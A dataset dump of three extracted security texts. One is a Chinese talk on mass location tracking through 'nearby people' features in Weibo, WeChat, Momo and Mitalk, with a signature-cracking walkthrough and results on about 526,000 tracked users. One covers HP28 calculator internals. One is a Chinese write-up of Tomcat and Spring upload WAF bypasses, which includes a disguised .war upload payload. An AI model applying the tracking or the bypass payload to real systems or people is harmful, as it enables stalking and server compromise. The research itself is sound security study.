text
stringlengths
100
9.93M
category
stringclasses
11 values
I Know Where You Are: 基于LBSN APP的地理位置追踪 2015年9月15日 赵 双(DFlower) 羅夏樸(Xiapu Luo) 1 Who AM I  赵双 (DFlower, dflower.zs@gmail.com) • Insight-Labs Team 成员 (http://insight-labs.org) • 研究领域:漏洞挖掘/恶意代码分析/手机安全 • 《0day安全:软件漏洞分析技术》(第2版)作者之一 • OWASP China 2010、 Xcon 2011 Speaker  羅夏樸 (Xiapu Luo, luoxiapu@gmail.com) • RAP in HKPolyU • 研究領域:手機安全,網絡安全 • Papers published in major security conferences (e.g., NDSS, BlackHat, Defcon, etc.) 2 目录  LBSN APP 介绍  基于LBSN APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 3 LBSN APPs  LBSN: Location-based Social Network,基于位置的社交 网络  很多LBSN APP具有“发现附近的人(Nearby)”功能 微信 Wechat 米聊 Mitalk 陌陌 Momo 新浪微博 Weibo 4 LBSN APPs  很多LBSN APP具有“发现附近的人(Nearby)”功能 SKOUT SayHi Badoo LOVOO 5 LBSN APPs  很多LBSN APP具有“发现附近的人(Nearby)”功能 当用户使用Nearby功能时: • 上传自己位置信息 • 寻找自己所处位置周边的陌生人 • 允许其他人在一定时间内发现自己 ………………………………………………………………… User Server Database t t search people in database save user1’s location User1 searches people nearby User1 is found by user2 User1 is not found by user3 save user2’s location User2 searches people nearby Save user3’s location User3 searches people nearby search people in database search people in database Result 6 目录  LBSN APP 介绍  基于LBSN APP进行地理位置追踪  数据发送  数据获取  数据挖掘  DEMO: Mitalk, Wechat, Weibo  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 7 如何基于LBSN APP进行位置追踪? 1. 数据发送: 登录APP并在不同的地理位置搜索附近的人 2. 数据获取: 获得{时间,地点,人}数据集 3. 数据挖掘: 数据集信息足够多的情况下,可对目标的日常活动范围和轨迹 进行追踪 8 数据发送 针对不同类型的APP,采用不同的数据发送方式: 1. 构造数据包 2. 模拟器仿真 APP信息 数据安全性 利用难度 APP Googlepla y下载量 (million) 360电子市 场下载量 (million) 位置精确 度( APP中) 数据传输方式 爬取APP位置数据方式 利用难度 Weibo 5-10 456 100m 明文 构造数据包 低 MeetMe 10-50 0.001 100m 明文 构造数据包 低 Skout 10-50 0.06 1000m 明文 构造数据包 低 SayHi 10-50 0.04 100m 明文 构造数据包 低 Badoo 50-100 0.07 1000m SSL单向认证 (参数不明) 构造数据包 /模拟器仿真 ? Momo 1-5 168 10m SSL单向认证 构造数据包 低 Mitalk 0.5-1 17 100m 带加密参数的明文 破解加密参数&构造数据包 /模拟器仿真 高 LOVOO 10-50 0.001 0.1mile SSL单向认证,带 加密参数 破解加密参数&构造数据包 /模拟器仿真 高 Wechat 100-500 455 100m SSL双向认证 替换证书&构造数据包 /模拟器仿真 高 9 1. 数据发送 1. APP数据明文传输 典型APP:Weibo,Meetme,SayHi, Skout 方式:构造并发送包含特定地理位置的数据包,获取该位置附近的人 • Weibo • Meetme • SayHi • Skout 10 1. 数据发送 2. APP数据采用HTTPS传输(SSL单向认证) 典型APP:Momo 2014 方式:使用伪造证书的方式还原HTTPS数据包,然后构造并发送包含特定地理 位置的数据包,获取该位置附近的人 • Momo 11 1. 数据发送 3. APP数据采用HTTPS传输(SSL双向认证/SSL Pinning) 典型APP:Wechat, Momo 2015 方式:Android模拟器+UIAutomator等自动化测试架构模拟用户操作,通过修 改模拟器地理位置获取获取该位置附近的人 模拟Wechat用户操作: getUiDevice().pressHome(); //点击“Home” UiObject wxApp = new UiObject(new UiSelector().text(“WeChat”)); //寻找Wechat图标 wxApp.clickAndWaitForNewWindow(); //启动Wechat UiObject discoverTab = new UiObject(new UiSelector().text(“Discover”)); //点击“Discover”标签 UiSelector uiSelector = new UiSelector().text(“People Nearby”); //寻找“People Nearby“按钮 UiObject nearbyButton = new UiObject(uiSelector); nearbyButton.clickAndWaitForNewWindow(); //点击“People Nearby“按钮 12 1. 数据发送 4. APP数据明文传输,但包含加密参数 典型APP:Mitalk,LOVOO 抓取方式: 1)破解加密参数,构造并发送包含特定地理位置的数据包,获取该位置附近的人 2)Android模拟器+自动化测试框架 13 DEMO - mitalk加密参数破解 • 数据包分析 1)抓取APP获取“附近 的人”时发送的数据包 2)更改数据包中的 latitude/longitude值后 重放 3)返回Error 4)多次对比APP发送 的数据包发现,uuid 是账号,token在登录 之后保持不变,参数s 是对所有其他参数的 校验,服务器通过校 验s的值来判断数据包 是否被篡改 14 DEMO - mitalk加密参数破解 • 破解参数s的计算过程 s = b(name1=value1&name2=value2&...&paramString1) s由paramList和paramString1计算而来,跟踪a(paramList, paramString)函数 逆向mitalk的APK(apktool/dex2jar/JD-GUI……),寻找s参数的生成过程 可以看出,函数把paramList中的各个参数按照字母顺序排序后用 “[name1]=[value1]&[name2]=[value2]...”的形式连接,最后再加上"&paramString1" 15 DEMO - mitalk加密参数破解 • 破解参数s的计算过程 将apk反编译为smali代码,加入Logcat代码打印paramString1,之后重打包APK, 安装到手机,运行mitalk并查看Logcat日志,即可得到paramString1的值(也是 登录之后固定不变的) 至此,我们得到的结果是: s = b(name1=value1&name2=value2&...&paramString1),每个参数的值都是已知 的,只要破解出加密算法com.xiaomi.channel.d.f.a.b就可以了 16 DEMO - mitalk加密参数破解 • 破解参数s的计算过程 而函数com.xiaomi.channel.d.f.a.b也是用Java写的,因此也很容易被反编译 (比如使用dex2jar/JD-GUI/ AndroChef Java Decompiler等) 至此,s参数破解完成,便可以用 程序来模拟mitalk在不同的地理 位置发送数据包获得“附近的人” 了。 17 2. 数据接收 1. 构造数据包方式: 返回结果解析(Json/XML…) 2. 模拟器仿真方式: UIAutomator识别界面文字 18 2. 数据接收 • 返回结果解析 米聊(Mitalk) 19 2. 数据接收 • 返回结果解析 很多APP虽然在界面中降低了地理位置精度(如只精确到100m), 但是在抓取到的数据包中,却能获取到许多额外的结果 20 2. 数据接收 • 返回结果解析 陌陌(Momo) APP中地理位置精度:0.01km=10m(距离) 数据包中地理位置精度:0.000000000001m (距离) 21 2. 数据接收 • 返回结果解析 SayHi APP中地理位置精度:0.01km=10m(距离) 数据包中地理位置精度:经纬度0.000001°≈0.1m(坐标) 22 2. 数据接收 • 返回结果解析 新浪微博(Weibo) APP中地理位置精度:100m(距离) 数据包中地理位置精度:经纬度0.00001°≈1m(坐标) & 上次出现时间 23 2. 数据接收 • UIAutomator识别 微信(Wechat) 模拟用户滑动列表直至最底部,解析界面内容 24 2. 数据接收 DEMO:Wechat数据发送和读取 25 2. 数据接收 DEMO:Weibo数据发送和读取 26 3. 数据挖掘 • 地理位置信息展示 获取的数据类型 展示方式 经纬度 坐标 距离 以探测点为圆心,距 离为半径的圆圈 可以用三点/多点定位 法缩小范围 范围展示(Wechat) 坐标展示(Weibo) 三点/多点定位 缩小范围 (Momo) Point1 Point2 27 小结:不同LBSN APP的安全性和利用难度比较 APP信息 数据安全性 利用难度 APP GooglePlay下载 量(million) 位置精确度 (APP中) 位置精确度 (数据包中) 数据传输方式 爬取APP位置 数据方式 利用 难度 爬取到的数 据精确度 Weibo 5-10 100m 1m(经纬度) , 有lasttime 明文 构造数据包 低 很高 MeetMe 10-50 100m 100m(距离) 明文 构造数据包 低 中 Skout 10-50 1000m 0.01m(距离) (center: city) 明文 构造数据包 (多条) 低 低 SayHi 10-50 100m 0.1m(经纬度) 明文 构造数据包 低 很高 Badoo 50-100 1000m -- SSL单向认证(数据 包参数不明) ? 中 Momo 1-5 10m <1mm(距离) SSL单向认证 构造数据包 低 高 Mitalk 0.5-1 100m 100m(距离) 带加密参数的明文 破解算法&构 造数据包 高 中 LOVOO 10-50 0.1mile 100m(距离) 有lasttime SSL单向认证,带加 密参数 破解算法&构 造数据包/模 拟器仿真 高 中 Wechat 100-500 100m -- SSL双向认证 模拟器仿真 高 中 28 目录  LBS APP 介绍  基于LBS APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  DEMO: Weibo Wall of Sheep  给APP厂商的建议 29 实例:Weibo 地理位置探测和挖掘 • 探测范围:北京五环内,约870km2 • 探测点:896 • 探测时间:30天/约90天 • 占用资源:1台普通配置的PC • 探测到的数据: 17,248,143(30天) 59,793,831(约90天) • 探测到的人数 219,876 (30天) 526,533 (约90天) • 数据内容:{用户id/nickname,用户坐标,上次出现时间} 30 实例:Weibo 地理位置探测和挖掘 • 探测数据时间分布: 0 0.2 0.4 0.6 0.8 1 1.2 1.4 1.6 1.8 0 3 6 9 12 15 18 21 24 Probed Data (million) Hour of Day 0 10 20 30 40 50 60 70 3/10 0:00 3/10 4:00 3/10 8:00 3/10 12:00 3/10 16:00 3/10 20:00 3/11 0:00 3/11 4:00 3/11 8:00 3/11 12:00 3/11 16:00 3/11 20:00 3/12 0:00 3/12 4:00 3/12 8:00 3/12 12:00 3/12 16:00 3/12 20:00 3/13 0:00 3/13 4:00 3/13 8:00 3/13 12:00 3/13 16:00 3/13 20:00 3/14 0:00 3/14 4:00 3/14 8:00 3/14 12:00 3/14 16:00 3/14 20:00 3/15 0:00 3/15 4:00 3/15 8:00 3/15 13:00 3/15 17:00 3/15 21:00 Probed Data (thousand) Probe Time 用户暴露地理位置的时间 峰值:18:00 – 0:00 谷值: 1:00 – 7:00 用户在傍晚(下班后)到午夜前(睡 觉前)的社交活动比白天更为活跃 31 实例:Weibo 地理位置探测和挖掘 • 探测数据地理位置分布(0:00-24:00) 32 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置 猜测:大部分用户习惯在相对固定的地理位置浏览 “周边人/周边微博”(比如在公司或家附近) 对这类用户,找到其经常暴露出的地理位置,即可对其实现追踪 33 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置 为了验证上述猜测,对探测到的用户出现的位置进行聚类, 在聚类中,距离在1km之内的不同坐标点会被聚类为同一个位置 结果: 76.5%的用户:经常出现在1个位置 15.75%的用户:出现在2个位置 4.35%的用户:出现在3个位置 3.4%的用户:出现在3个以上位置 0 200 400 600 800 1000 1200 1400 1600 1800 0 2 4 6 8 10 12 14 Number of persons Number of places 10 geolocations clustered to 3 places 34 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置 03:00~09:00 UTC(本地时间11:00~17:00) 红领 巾公园 12:00~15:00 UTC(本地时间20:00~22:00) 天宝 源三里(住宅区)  工作地点  家庭地点 35 实例:Weibo 地理位置探测和挖掘 • 追踪用户位置:部分安全公司帐号/员工帐号追踪 36 实例:Weibo 地理位置探测和挖掘 • 被探测到地理位置的部分大V(实名认证)帐号 个人帐号 企业帐号 37 实例:Weibo 地理位置探测和挖掘 • DEMO: Weibo Wall of Sheep (Beijing) 38 实例:Weibo 地理位置探测和挖掘 • DEMO: Weibo Wall of Sheep (Taipei) 39 Demo URL 40 41 目录  LBS APP 介绍  基于LBS APP进行地理位置追踪  实例: 追踪全北京新浪微博用户的地理位置  给APP厂商的建议 42 给APP厂商的建议 不要用明文传输!不要用明文传输!不要用明文传输! 使用双向SSL、SSL Pinning等技术防止HTTPS内容被拦截 后台服务接口应当只提供APP需要的数据,不要把所有数据都扔给 前端的APP来处理 Android APP中的重要代码(如加密算法)使用Native Code或其他 防破解机制 43 DFlower <dflower.zs@gmail.com> Xiapu Luo <luoxiapu@gmail.com> 44
pdf
Journey to the Center of the HP28C/S by Travis Goodspeed <travis at utk.edu> regarding the work of Paul Courbis Sébastien Lalande Disclaimer I am just the translator. My French sucks. HP 28S Photo by Kurt Moerman Part 1: Software ● Objects: List and Structure ● I/O Zone ● RAM ● Accessing Machine Language ● Further Discoveries ● Useful Routines Introduction ● Three Models – HP28C-1BB – HP28C-1CC – HP28S-2BB ● HP SATURN architecture, same as HP 71b ● Nibble-wise Little Endian Memory Layout FFFFF 60000 40800 4F000 52000 00000 40000 ROM Screen Timer Void RAM Void HP 28C HP 28S FFFFF 6 Ko 50000 Standard ROM Screen Timer Void RAM Void ROM Screen Timer Void RAM Void 40800 4F000 52000 34 Ko ROM FFFFF C0000 Void Screen Timer RAM Void D0000 E0000 FF800 Standard 00000 00000 40000 40000 DupRAM Registers OUTPUT INPUT CARRY I/O Status 12 16 1 4 HW Status 16 Status P D0,D1 PC 20 20 each 20 Pointers RSTK 20 by 8 R0 to R4 64 each Safeguard A to D 64 each Working Nybbles (Quartets) ● Byte – 0x00 to 0xFF – 0 to 255 ● Nibble – 0 to F – BCD ● 0 to 9 1 0 4 2 00 01 ... ... Nybble Little Endian #1234 12 34 Big Endian 12 34 Little Endian HP 28 3 4 1 2 Objects: List and Structure ● Prologue – 5 nibbles – Specifies Type ● Type – System or User – Implies Length Short Integer #02911 Prologue Number 11920 54321 11920 00000 00000 12345 5 5 Real #02933 Prologue Exponent Mantissa Sign 5 3 12 1 33290 500 953562951413 0 π*10^5 #02933 5 3.14159... + Reverse Polish Notation ● Stack Metaphor ● Left to right. – If value ● PUSH onto stack. – If operator, ● POP parameters. ● PUSH result. ● No grouping symbols. ● Easy to interpret. 1 10 3 + * 1 10 3 + * + 1 10 3 * RPN Interpretation ● Input ● Stack + 1 10 3 * 10 10 3 3 * 30 1 1 + 31 Algebraic #02ADA Prologue Expression End. Alg. 5 5 π*10^5 π 10 5 * ^ π 10 5 * ^ Algebraic #02ADA Prologue Expression End. Alg. 5 5 π*10^5 π 10 5 * ^ π 10 5 * ^ Algebraic #02ADA Prologue Expression End. Alg. 5 5 π*10^5 π 10 5 * ^ π 10 5 * ^ Algebraic #02ADA Prologue Expression End. Alg. 5 5 π*10^5 π 10 5 * ^ π 10 5 * ^ Prologue End. Alg. 33290 000 953562951413 0 I/O Zone ● IR in/out ● Timers ● Contrast ● Screen/Indicators ● Speed – 28S Only ● Row Driver Waveform – 28C Only Row Driver Waveform ● Maps logical lines to physical lines. ● Scrolling – Swap line-mappings, not data. ● Mirroring – Map the same logic line to many physical lines. ● Initialized at boot. ● Interpreted by software video driver. Row Driver Waveform RAM ● Polling – Background Processes Watch RAM – I/O-like Behavior ● Keyboard Buffer ● Flags ● Command-Line ● Stacks ● Temp Environment Keyboard Buffer ● Samples Keys – Not ASCII ● Clock ● KEYSTART – next to be handled ● KEYEND – next to be sampled Accessing Machine Language ● ML Program – is an Object Type (#02C96) – may not be created by the user. ● Bootstrapping – ASS – LASS LASS ● Takes as input an ML string. ● One character, one nybble. ● Assembles – ML String to ML Object – not Assembly String to ML Object ● Usage – Push string to stack. – LASS – Store resultant object to variable. INV.VID INV.VID ● “76C2091C7... ● LASS ● `INV.VID' STO Further Discoveries ● Search ROM – Strings Tables in Appendix – I/O or RAM addresses ● Systematic Disassembly – Disassembler Program – Dump to a Workstation Useful Routines ● SAV.REG ● LOAD.REG ● RES.ROOM ● GARB.COLL – Force Garbage Collection ● TFM – Too Few Memory ● ERROR ● BEEP Useful Routines SAV.REGN C=reserved adr RES.ROOM LOAD.REG GARB.COLL First Try? LOAD.REG TFM carry=0 carry=1 no yes continue Part 2: Hardware ● Exterior Description ● Opening the Machine ● Interior Description ● Transformations – External Power Feed – Overclocking – Extended Memory ● The I/O Port ● Closing the Machine ● I/O Interfaces Exterior Description - + - + - + Electronics Keyboard Keyboard Opening ● No Screws! ● Gotta break some pins. Interior Description 1 21 11 10 2 Keyboard CD STR B0 B1 B2 B3 In Out 2 1 3 4 GC GND DOUT ILP3-0016 Buzzer ROM A ROM B + - Transformations ● External Power Feed ● Overclocking ● Memory Upgrade Overclocking ● HP28C – Replace or Remove a Capacitor – Replace an Inductor ● HP28S – Overlocking in Software – SPEED Program Memory Upgrade ● HP71B Memory Module ● Installation – Cut Traces of Memory Bus – Patch in Upgrade Module I/O Ports ● Hack of the IR Led ● Hack of the Buzzer I/O Ports ● IR Cartridge ● Replacement Adapters – Apple ][e Joystick – HP to HP – RS232 HP28 Printer ● HP82240B Ideas! ● Add a Joystick ● Telephone Composer – Photocoupler and Relays – Provides click of a rotary phone. – Dial by counting digits, then waiting. ● Motor Control ● Robot ● Plotter Part 3: Appendices ● Machine Language ● SATURN Microprocessor ● SATURN Instructions ● Exhaustive List of Error Codes ● List of Objects and RPL Entry Points ● Library of Programs Epilogue HP28 Emulation ● Christoph Giesselink HP48 Series ● Memory Expansion ● IR I/O ● Serial Port ● Meta Kernel – Replacement OS Photo by Heretiq HP49 Series ● SD Card Slot ● USB, IR, Serial ● ARM CPU – Emulates SATURN ● HPGCC ● Meta Kernel – Official OS Photo by Nova dc TI Calculators http://richfiles.solarbotics.net/ Next Step: TI Nspire ● No ML Programming ● No Games ● No ROM Dump Questions? Travis Goodspeed travis@utk.edu 865.300.0094
pdf
探寻Tomcat⽂件上传流量层⾯绕waf新姿 势 探寻Tomcat⽂件上传流量层⾯绕waf新姿势 写在前⾯ Pre 前置 深⼊ 变形 更新2022-06-20 扩⼤利⽤⾯ 更新Spring 2022-06-20 Spring4 Spring5 参考⽂章 写在前⾯ ⽆意中看到ch1ng师傅的⽂章觉得很有趣,不得不感叹师傅太厉害了,但我⼀看那长篇的函 数总觉得会有更骚的东西,所幸还真的有,借此机会就发出来⼀探究竟,同时也不得不感慨 下RFC⽂档的妙处,当然本⽂针对的技术也仅仅只是在流量层⾯上waf的绕过 Pre 很神奇对吧,当然这不是终点,接下来我们就来⼀探究竟 前置 这⾥简单说⼀下师傅的思路 部署与处理上传war的servlet是 org.apache.catalina.manager.HTMLManagerServlet 在⽂件上传时最终会通过处 理 org.apache.catalina.manager.HTMLManagerServlet#upload 调⽤的是其⼦类实现 类 org.apache.catalina.core.ApplicationPart#getSubmittedFileName 这⾥获取filename的时候的处理很有趣 看到这段注释,发现在RFC 6266⽂档当中也提出这点 Avoid including the "\" character in the quoted-string form of the filename parameter, as escaping is not implemented by some user agents, and "\" can be considered an illegal path character. 那么我们的tomcat是如何处理的嘞?这⾥它通过函数 HttpParser.unquote 去进⾏处理 简单做个总结如果⾸位是 " (前提条件是⾥⾯有 \ 字符),那么就会去掉跳过从第⼆个字符开 始,并且末尾也会往前移动⼀位,同时会忽略字符 \ ,师傅只提到了类似 test.\war 这样的 例⼦ 但其实根据这个我们还可以进⼀步构造⼀些看着⽐较恶⼼的⽐如 filename=""y\4.\w\arK" public static String unquote(String input) {        if (input == null || input.length() < 2) {            return input;       }        int start;        int end;        // Skip surrounding quotes if there are any        if (input.charAt(0) == '"') {            start = 1;            end = input.length() - 1;       } else {            start = 0;            end = input.length();       }        StringBuilder result = new StringBuilder();        for (int i = start ; i < end; i++) {            char c = input.charAt(i);            if (input.charAt(i) == '\\') {                i++;                result.append(input.charAt(i));           } else {                result.append(c);           }       }        return result.toString();   } 深⼊ 还是在 org.apache.catalina.core.ApplicationPart#getSubmittedFileName 当中, ⼀看到这个将字符串转换成map的操作总觉得⾥⾯会有更骚的东西(这⾥先是解析传⼊的参数 再获取,如果解析过程有利⽤点那么也会影响到后⾯参数获取),不扯远继续回到正题 ⾸先它会获取header参数 Content-Disposition 当中的值,如果以 form-data 或 者 attachment 开头就会进⾏我们的解析操作,跟进去⼀看果不其然,看 到 RFC2231Utility 瞬间不困了 后⾯这⼀坨就不必多说了,相信⼤家已经很熟悉啦⽀持QP编码,忘了的可以考古看看我之前 写的⽂章Java⽂件上传⼤杀器-绕waf(针对commons-fileupload组件),这⾥就不再重复这个啦, 我们重点看三元运算符前⾯的这段 既然如此,我们先来看看这个hasEncodedValue判断标准是什么,字符串末尾是否带 * public static boolean hasEncodedValue(final String paramName) {  if (paramName != null) {    return paramName.lastIndexOf('*') == (paramName.length() - 1); }  return false; } 在看解密函数之前我们可以先看看RFC 2231⽂档当中对此的描述,英⽂倒是很简单不懂的可 以在线翻⼀下,这⾥就不贴中⽂了 接下来回到正题,我们继续看看这个解码做了些什么 Asterisks ("*") are reused to provide the indicator that language and character set information is present and encoding is being used. A single quote ("'") is used to delimit the character set and language information at the beginning of the parameter value. Percent signs ("%") are used as the encoding flag, which agrees with RFC 2047. Specifically, an asterisk at the end of a parameter name acts as an indicator that character set and language information may appear at the beginning of the parameter value. A single quote is used to separate the character set, language, and actual value information in the parameter value string, and an percent sign is used to flag octets encoded in hexadecimal. For example: Content-Type: application/x-stuff;         title*=us-ascii'en-us'This%20is%20%2A%2A%2Afun%2A%2A%2A public static String decodeText(final String encodedText) throws UnsupportedEncodingException {  final int langDelimitStart = encodedText.indexOf('\'');  if (langDelimitStart == -1) {    // missing charset    return encodedText; }  final String mimeCharset = encodedText.substring(0, langDelimitStart);  final int langDelimitEnd = encodedText.indexOf('\'', langDelimitStart + 1);  if (langDelimitEnd == -1) {    // missing language    return encodedText; }  final byte[] bytes = fromHex(encodedText.substring(langDelimitEnd + 1));  return new String(bytes, getJavaCharset(mimeCharset)); } 结合注释可以看到标准格式 @param encodedText - Text to be decoded has a format of {@code <charset>'<language>'<encoded_value>} ,分别是编码,语⾔和 待解码的字符串,同时这⾥还适配了对url编码的解码,也就是 fromHex 函数,具体代码如下, 其实就是url解码 因此我们将值当中值得注意的点梳理⼀下 1. ⽀持编码的解码 2. 值当中可以进⾏url编码 3. @code< charset>'< language>'< encoded_value> 中间这位language可以随便写,代码⾥没 有⽤到这个的处理 既然如此那么我们⾸先就可以排出掉utf-8,毕竟这个解码后就直接是明⽂,从Java标准库当中 的charsets.jar可以看出,⽀持的编码有很多 private static byte[] fromHex(final String text) {  final int shift = 4;  final ByteArrayOutputStream out = new ByteArrayOutputStream(text.length());  for (int i = 0; i < text.length();) {    final char c = text.charAt(i++);    if (c == '%') {      if (i > text.length() - 2) {        break; // unterminated sequence     }      final byte b1 = HEX_DECODE[text.charAt(i++) & MASK];      final byte b2 = HEX_DECODE[text.charAt(i++) & MASK];      out.write((b1 << shift) | b2);   } else {      out.write((byte) c);   } }  return out.toByteArray(); } 同时通过简单的代码也可以输出 运⾏输出 Locale locale = Locale.getDefault(); Map<String, Charset> maps = Charset.availableCharsets(); StringBuilder sb = new StringBuilder(); sb.append("{"); for (Map.Entry<String, Charset> entry : maps.entrySet()) {  String key = entry.getKey();  Charset value = entry.getValue();  sb.append("\"" + key + "\","); } sb.deleteCharAt(sb.length() - 1); sb.append("}"); System.out.println(sb.toString()); //res 这⾥作为掩饰我就随便选⼀个了 UTF-16BE {"Big5","Big5-HKSCS","CESU-8","EUC-JP","EUC- KR","GB18030","GB2312","GBK","IBM- Thai","IBM00858","IBM01140","IBM01141","IBM01142","IBM01143","IBM01144","I BM01145","IBM01146","IBM01147","IBM01148","IBM01149","IBM037","IBM1026","I BM1047","IBM273","IBM277","IBM278","IBM280","IBM284","IBM285","IBM290","IB M297","IBM420","IBM424","IBM437","IBM500","IBM775","IBM850","IBM852","IBM8 55","IBM857","IBM860","IBM861","IBM862","IBM863","IBM864","IBM865","IBM866 ","IBM868","IBM869","IBM870","IBM871","IBM918","ISO-2022-CN","ISO-2022- JP","ISO-2022-JP-2","ISO-2022-KR","ISO-8859-1","ISO-8859-13","ISO-8859- 15","ISO-8859-2","ISO-8859-3","ISO-8859-4","ISO-8859-5","ISO-8859-6","ISO- 8859-7","ISO-8859-8","ISO-8859-9","JIS_X0201","JIS_X0212-1990","KOI8- R","KOI8-U","Shift_JIS","TIS-620","US-ASCII","UTF-16","UTF-16BE","UTF- 16LE","UTF-32","UTF-32BE","UTF-32LE","UTF-8","windows-1250","windows- 1251","windows-1252","windows-1253","windows-1254","windows- 1255","windows-1256","windows-1257","windows-1258","windows-31j","x-Big5- HKSCS-2001","x-Big5-Solaris","x-COMPOUND_TEXT","x-euc-jp-linux","x-EUC- TW","x-eucJP-Open","x-IBM1006","x-IBM1025","x-IBM1046","x-IBM1097","x- IBM1098","x-IBM1112","x-IBM1122","x-IBM1123","x-IBM1124","x-IBM1166","x- IBM1364","x-IBM1381","x-IBM1383","x-IBM300","x-IBM33722","x-IBM737","x- IBM833","x-IBM834","x-IBM856","x-IBM874","x-IBM875","x-IBM921","x- IBM922","x-IBM930","x-IBM933","x-IBM935","x-IBM937","x-IBM939","x- IBM942","x-IBM942C","x-IBM943","x-IBM943C","x-IBM948","x-IBM949","x- IBM949C","x-IBM950","x-IBM964","x-IBM970","x-ISCII91","x-ISO-2022-CN- CNS","x-ISO-2022-CN-GB","x-iso-8859-11","x-JIS0208","x-JISAutoDetect","x- Johab","x-MacArabic","x-MacCentralEurope","x-MacCroatian","x- MacCyrillic","x-MacDingbat","x-MacGreek","x-MacHebrew","x-MacIceland","x- MacRoman","x-MacRomania","x-MacSymbol","x-MacThai","x-MacTurkish","x- MacUkraine","x-MS932_0213","x-MS950-HKSCS","x-MS950-HKSCS-XP","x-mswin- 936","x-PCK","x-SJIS_0213","x-UTF-16LE-BOM","X-UTF-32BE-BOM","X-UTF-32LE- BOM","x-windows-50220","x-windows-50221","x-windows-874","x-windows- 949","x-windows-950","x-windows-iso2022jp"} 同样的我们也可以进⾏套娃结合上⾯的 filename=""y\4.\w\arK" 改成 filename="UTF- 16BE'Y4tacker'%00%22%00y%00%5C%004%00.%00%5C%00w%00%5C%00a%00r%00K" 接下来处理点⼩加强,可以看到在这⾥分隔符⽆限加,⽽且加了 号的字符之后也会去除⼀ 个 号 因此我们最终可以得到如下payload,此时仅仅基于正则的waf规则就很有可能会失效 可以看见成功上传 变形 更新2022-06-20 这⾥测试版本是Tomcat8.5.72,这⾥也不想再测其他版本差异了只是提供⼀种思路 在此基础上我发现还可以做⼀些新的东西,其实就是对 org.apache.tomcat.util.http.fileupload.ParameterParser#parse(char[], int, int, char) 函数进⾏深⼊分析 在获取值的时候 paramValue = parseQuotedToken(new char[] {separator }); ,其 实是按照分隔符 ; 分割,因此我们不难想到前⾯的东西其实可以不⽤ " 进⾏包裹,在 parseQuotedToken最后返回调⽤的是 return getToken(true); ,这个函数也很简单就不必 多解释 ------WebKitFormBoundaryQKTY1MomsixvN8vX Content-Disposition: form-data*;;;;;;;;;;name*="UTF- 16BE'Y4tacker'%00d%00e%00p%00l%00o%00y%00W%00a%00r";;;;;;;;filename*="UTF- 16BE'Y4tacker'%00%22%00y%00%5C%004%00.%00%5C%00w%00%5C%00a%00r%00K" Content-Type: application/octet-stream 123 ------WebKitFormBoundaryQKTY1MomsixvN8vX-- private String getToken(final boolean quoted) {        // Trim leading white spaces        while ((i1 < i2) && (Character.isWhitespace(chars[i1]))) {            i1++; 可以看到这⾥也是成功识别的 既然调⽤ parse 解析参数时可以不被包裹,结合getToken函数我们可以知道在最后⼀个参数 其实就不必要加 ; 了,并且解析完通过 params.get("filename") 获取到参数后还会调⽤ 到 org.apache.tomcat.util.http.parser.HttpParser#unquote 那也可以基于此再次 变形 为了直观这⾥就直接明⽂了,是不是也很神奇       }        // Trim trailing white spaces        while ((i2 > i1) && (Character.isWhitespace(chars[i2 - 1]))) {            i2--;       }        // Strip away quotation marks if necessary        if (quoted            && ((i2 - i1) >= 2)            && (chars[i1] == '"')            && (chars[i2 - 1] == '"')) {            i1++;            i2--;       }        String result = null;        if (i2 > i1) {            result = new String(chars, i1, i2 - i1);       }        return result;   } 扩⼤利⽤⾯ 现在只是war包的场景,多多少少影响性被降低,但我们这串代码其实抽象出来就⼀个关键 通过查询官⽅⽂档,可以发现从Servlet3.1开始,tomcat新增了对此的⽀持,也就意味着简单 通过 javax.servlet.http.HttpServletRequest#getParts 即可,简化了我们⽂件上传 的代码负担(如果我是开发⼈员,我肯定⾸选也会使⽤,谁不想当懒狗呢) 更新Spring 2022-06-20 早上起床想着昨晚和陈师的碰撞,起床后又看了下陈师的星球,看到这个不妨再试试Spring是 否也按照了RFC的实现呢(毕竟Spring内置了Tomcat,可能会有类似的呢) Part warPart = request.getPart("deployWar"); String filename = warPart.getSubmittedFileName(); getSubmittedFileName String getSubmittedFileName() Gets the file name specified by the client Returns: the submitted file name Since: Servlet 3.1 Spring为我们提供了处理⽂件上传MultipartFile的接⼜ public interface MultipartFile extends InputStreamSource {    String getName(); //获取参数名    @Nullable    String getOriginalFilename();//原始的⽂件名    @Nullable    String getContentType();//内容类型    boolean isEmpty();    long getSize(); //⼤⼩    byte[] getBytes() throws IOException;// 获取字节数组    InputStream getInputStream() throws IOException;//以流⽅式进⾏读取 ⽽spring处理⽂件上传逻辑的具体关键逻辑 在 org.springframework.web.multipart.support.StandardMultipartHttpServlet Request#parseRequest ,抄个⽂件上传demo来进⾏测试分析 Spring4 这⾥我测试了 springboot1.5.20.RELEASE 内置 Spring4.3.23 ,具体⼩版本之间是否有 差异这⾥就不再探究 其中关于 org.springframework.web.multipart.support.StandardMultipartHttpServletRe quest#parseRequest 的调⽤也有些不同    default Resource getResource() {        return new MultipartFileResource(this);   }    // 将上传的⽂件写⼊⽂件系统    void transferTo(File var1) throws IOException, IllegalStateException; // 写⼊指定path    default void transferTo(Path dest) throws IOException, IllegalStateException {        FileCopyUtils.copy(this.getInputStream(), Files.newOutputStream(dest));   } }    private void parseRequest(HttpServletRequest request) {        try {            Collection<Part> parts = request.getParts();            this.multipartParameterNames = new LinkedHashSet(parts.size());            MultiValueMap<String, MultipartFile> files = new LinkedMultiValueMap(parts.size());            Iterator var4 = parts.iterator();            while(var4.hasNext()) { 简单看了下和tomcat之前的分析很像,这⾥Spring4当中同时也是⽀持 filename* 格式的 看看具体逻辑                Part part = (Part)var4.next();                String disposition = part.getHeader("content- disposition");                String filename = this.extractFilename(disposition);                if (filename == null) {                    filename = this.extractFilenameWithCharset(disposition);               }                if (filename != null) {                    files.add(part.getName(), new StandardMultipartHttpServletRequest.StandardMultipartFile(part, filename));               } else {                    this.multipartParameterNames.add(part.getName());               }           }            this.setMultipartFiles(files);       } catch (Throwable var8) {            throw new MultipartException("Could not parse multipart servlet request", var8);       }   } 简单测试⼀波,与⼼中结果⼀致 private String extractFilename(String contentDisposition, String key) {        if (contentDisposition == null) {            return null;       } else {            int startIndex = contentDisposition.indexOf(key);            if (startIndex == -1) {                return null;           } else {             